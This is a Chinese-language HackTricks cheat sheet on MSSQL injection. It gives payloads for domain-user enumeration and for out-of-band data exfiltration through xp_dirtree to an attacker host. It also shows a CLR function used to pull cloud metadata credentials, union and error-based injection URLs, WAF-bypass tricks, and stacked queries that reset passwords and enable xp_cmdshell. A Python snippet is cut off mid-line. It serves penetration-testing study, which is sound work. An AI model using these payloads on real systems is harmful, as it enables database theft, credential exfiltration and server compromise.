# MSSQL 注入
从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
## Active Directory 枚举
通过在 MSSQL 服务器中进行 SQL 注入,可能可以使用以下 MSSQL 函数**枚举域用户**:
* **`SELECT DEFAULT_DOMAIN()`**:获取当前域名。
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**:如果您知道域的名称(本例中的 _DOMAIN_),此函数将以十六进制格式返回**用户 Administrator 的 SID**。这将类似于 `0x01050000000[...]0000f401`,注意**最后 4 个字节**是数字 **500** 以**大端**格式,这是**用户管理员常见的 ID**。\
此函数将允许您**知道域的 ID**(最后 4 个字节除外)。
* **`SUSER_SNAME(0x01050000000[...]0000e803)`**:此函数将返回**指示 ID 的用户名**(如果有的话),在这种情况下 **0000e803** 以大端 == **1000**(通常这是第一个常规用户 ID 创建的 ID)。然后你可以想象,你可以从 1000 到 2000 暴力破解用户 ID,并可能获得域用户的所有用户名。例如,使用类似以下的函数:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('
您在使用MSSQL时最常见的进行网络调用的方法是使用存储过程`xp_dirtree`,奇怪的是这个过程没有被Microsoft记录,这导致它被[互联网上的其他人记录](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。这种方法已经在互联网上的[多个示例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)中使用,用于[带外数据泄露](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)的文章。
本质上,
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
```markdown
像MySQL的`LOAD_FILE`一样,你可以使用`xp_dirtree`发起网络请求到**仅限TCP端口445**。你无法控制端口号,但可以从网络共享中读取信息。
**PS:**这在默认配置的`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`上运行于`Windows Server 2016 Datacenter`上时不起作用。
还有**其他**存储过程****[**如`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)或**`xp_subdirs`**可用于获得类似结果。
### `xp_cmdshell`
显然,你也可以使用**`xp_cmdshell`**来**执行**触发**SSRF**的操作。更多信息**阅读相关部分**在页面:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL 用户定义函数 - SQLHttp
编写**CLR UDF**(Common Language Runtime 用户定义函数 - 使用任何**.NET**语言编写并编译成**DLL**)并**在MSSQL中加载自定义函数**相当直接。然而,这**需要`dbo`访问权限**,所以除非Web应用程序连接到数据库**作为`sa`或管理员角色**,否则可能无法工作。
[这个Github仓库有Visual Studio项目和安装说明](https://github.com/infiniteloopltd/SQLHttp),用于将二进制文件加载到MSSQL作为CLR程序集,然后从MSSQL内部调用HTTP GET请求。
`http.cs`代码使用`WebClient`类发出GET请求并获取指定的内容
```
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
在安装说明中,在执行 `CREATE ASSEMBLY` 查询之前,运行以下命令将程序集的 SHA512 哈希添加到服务器上的受信任程序集列表中(您可以使用 `select * from sys.trusted_assemblies;` 查看列表)
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
一旦添加了程序集并创建了函数,我们可以运行以下命令来发出我们的HTTP请求
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
## **快速利用:一次查询检索整个表**
存在两种简单的方法可以一次查询检索表的全部内容 — 使用 FOR XML 或 FOR JSON 子句。FOR XML 子句需要指定模式,如「raw」,因此就简洁性而言,FOR JSON 的表现更佳。
检索当前数据库的架构、表和列的查询:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
基于错误的向量需要一个别名或名称,因为没有别名或名称的表达式的输出无法格式化为JSON。
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
## **检索当前查询**
可以通过访问 `sys.dm_exec_requests` 和 `sys.dm_exec_sql_text` 来检索当前正在执行的SQL查询:
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
**权限:**如果用户在服务器上拥有 VIEW SERVER STATE 权限,用户将看到 SQL Server 实例上的所有执行会话;否则,用户只能看到当前会话。
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **WAF 绕过的小技巧**
非标准空白字符:%C2%85 或 %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
科学记数法(0e)和十六进制(0x)表示法用于混淆 UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
FROM 和列名之间使用句点而不是空格:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N 分隔符用于 SELECT 和一个无关紧要的列之间:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### 使用非正统堆叠查询绕过WAF
根据[**这篇博客文章**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/),在MSSQL中可以不使用";"来堆叠查询:
例如,多个查询如下:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
可以简化为:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
因此,有可能绕过不同的WAF,因为它们没有考虑这种形式的堆叠查询。例如:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## 参考资料
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客技术!
其他支持HackTricks的方式:
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。